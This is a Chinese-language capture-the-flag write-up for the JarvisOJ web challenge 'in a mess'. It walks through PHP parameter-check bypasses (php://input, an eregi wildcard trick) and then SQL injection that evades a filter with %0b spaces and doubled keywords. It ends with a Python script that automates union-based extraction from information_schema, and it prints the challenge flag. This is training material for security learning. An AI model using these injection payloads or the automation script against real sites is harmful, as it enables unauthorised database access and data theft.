in a mess——PCTF{Fin4lly_U_got_i7_C0ngRatulation5}
描述
连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。http://web.jarvisoj.com:32780/
分析
- 访问看见
work harder!harder!harder!
乖巧可爱的跟着出题老师去index.phps,看到源码。
";
if(!$_GET['id']){
header('Location: index.php?id=1');
exit();}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
#a里不能有.
echo 'Hahahahahaha';
return ;}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
require("flag.txt");}
else{
print "work harder!harder!harder!";}?>
得出结论要传3个参数
1.1 id值等于0但自身不能为0
1.2 b长度大于5且可能涉及eregi绕过(譬如b[0]='.',通配符匹配)
1.3 a涉及file_get_contents,需用伪协议php://input传入"1112 is a nice lab!"
- 于是提交payload:
id=0.0&b=%2E11111&a=php://input ; post:1112 is a nice lab!
拿到:Come ON!!! {/^HT2mCpcvOLf}
,但是作为flag提交了不对(看起来是不太对但试试又不吃亏) - 思路卡了,看wp发现是地址ORZ。访问
http://web.jarvisoj.com:32780/^HT2mCpcvOLf
,bp里直接改还不行……浏览器访问自动变成了/^HT2mCpcvOLf/index.php?id=1
,页面显示hi666。 - id改成2则显示:SELECT * FROM content WHERE id=2,提交id=2-1发现是可以执行的,考点变成了sql注入
- 试了试发现有过滤,回显为如果检测到注入就返回you bad bad……,如果执行了查询不到结果就返回执行语句。根据回显逻辑一路发现过滤空格、+、/**/,部分关键词作删除处理(但可以用双重嵌入绕过),各种试空格符发现不过滤%0b,到这里差不多可以开始注入了
?id=-1%0bununionion%0bseselectlect%0b1,2,database()#
——test
id=-1%0bununionion%0bseselectlect%0b1,2,table_name%0bfrfromom%0binformation_schema.tables%0bwhere%0btable_schema=database()#
——content
id=-1%0bununionion%0bseselectlect%0b1,2,group_concat(column_name)%0bfrfromom%0binformation_schema.columns%0bwhere%0btable_schema=database()
——id,context,title
id=-1%0bununionion%0bseselectlect%0b1,2,group_concat(id,context,title)%0bfrfromom%0bcontent%0blimit%0b1%0boffset%0b0#
——1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666。
如果存在其他条目里就offset慢慢移吧,本题刚好只有一条数据。
总结
1.手动sql注入时的小经验,对于这种有过滤的,手动写语句经常出错(是我了),可以再分小点,比如都先union select 1,2,3 ,只改后面的,分步调试()
2.传参的套路感觉都不用总结了,毕竟我也是看过《正则表达式必知必会》的人()!但后面没想到括号里是网址……套路防不胜防,甘拜下风
总结2
然后因为题目简单,加作业了……写代码撸一下手动注入的逻辑。先order by(这么小的数就不二分法了()),再union select确定回显位,再查表名、列名、字段。写是写完了,写完一看这不就是sqlmap的一部分吗,我为什么不去看sqlmap的源码就好了()
import requests
def sqlfilt(payload):#过滤绕过
result = []
for i in payload.split(' '):#对关键词做处理
if i.isalpha(): #处理方法1,中间加过滤关键字union
temp = i[:len(i)//2]+'union'+i[len(i)//2:]
result.append(temp)
else:result.append(i)
return '%0b'.join(result) #空格替换方式
def step1(url): #确定column列数N
N = 0
for i in range(10,1,-1):
payload = sqlfilt('1 order by %d#'%(i))
ret = requests.get(url+payload).text
if NORMAL not in ret:
N = i+1
print ('column总列数为%d'%(N))
return N
def step2(url,N): #确定column回显位置
payload = '-1 union select '
for i in range(1,N+1):
payload += str(i)+','
payload = sqlfilt(payload[:-1]+'#')
ret = requests.get(url+payload).text
INDEX = int(ret)#可能需要在print(ret)再在回显里找一找,
print('回显位置为%d'%(INDEX))
return INDEX
def unisel(N,INDEX,string): #构造回显注入点(前半截)
PAYLOAD = '-1 union select '
for i in range(1,N+1):
if i != INDEX:
PAYLOAD += str(i)+','
else:
PAYLOAD += string+','
return PAYLOAD[:-1]
def step3(url): #查看表名
payload = unisel(N,INDEX,'group_concat(table_name)')+' from information_schema.tables where table_schema=database()#'
payload = sqlfilt(payload)
ret = requests.get(url+payload).text
TABLES = ret
print ('表名为%s'%(TABLES))
return TABLES
def step4(url):#查看列名
payload = unisel(N,INDEX,'group_concat(column_name)')+' from information_schema.columns where table_schema=database()#' #如果多的话用limit 1 OFFSET 0逐个试
payload = sqlfilt(payload)
ret = requests.get(url+payload).text
COLUMNS = ret.split(',')
print ('列名为%s'%(COLUMNS))
return COLUMNS
def step5(url,COLUMNS,TABLES):#查看字段值
string = 'group_concat('
for i in COLUMNS:
string += i+','
string = string[:-1]+')'
payload = unisel(N,INDEX,string)+' from %s limit 1 offset 0#'%(TABLES)#第一行没有就接着查-。-
print(payload)
payload = sqlfilt(payload)
ret = requests.get(url+payload).text
print ('结果为%s'%(ret))
s = requests.session()
url = 'http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id='
NORMAL = requests.get(url+'-1').text[:-2] #回显规则:语句正确但查询没有结果时将返回查询语句,用于基准判断
N = step1(url)
INDEX = step2(url,N)
TABLES = step3(url)
COLUMNS = step4(url)
step5(url,COLUMNS,TABLES)
大家可以看出我的代码是多么啰嗦了……好了以后再去看sqlmap怎么写的,学习下优秀的编程风格ORZ。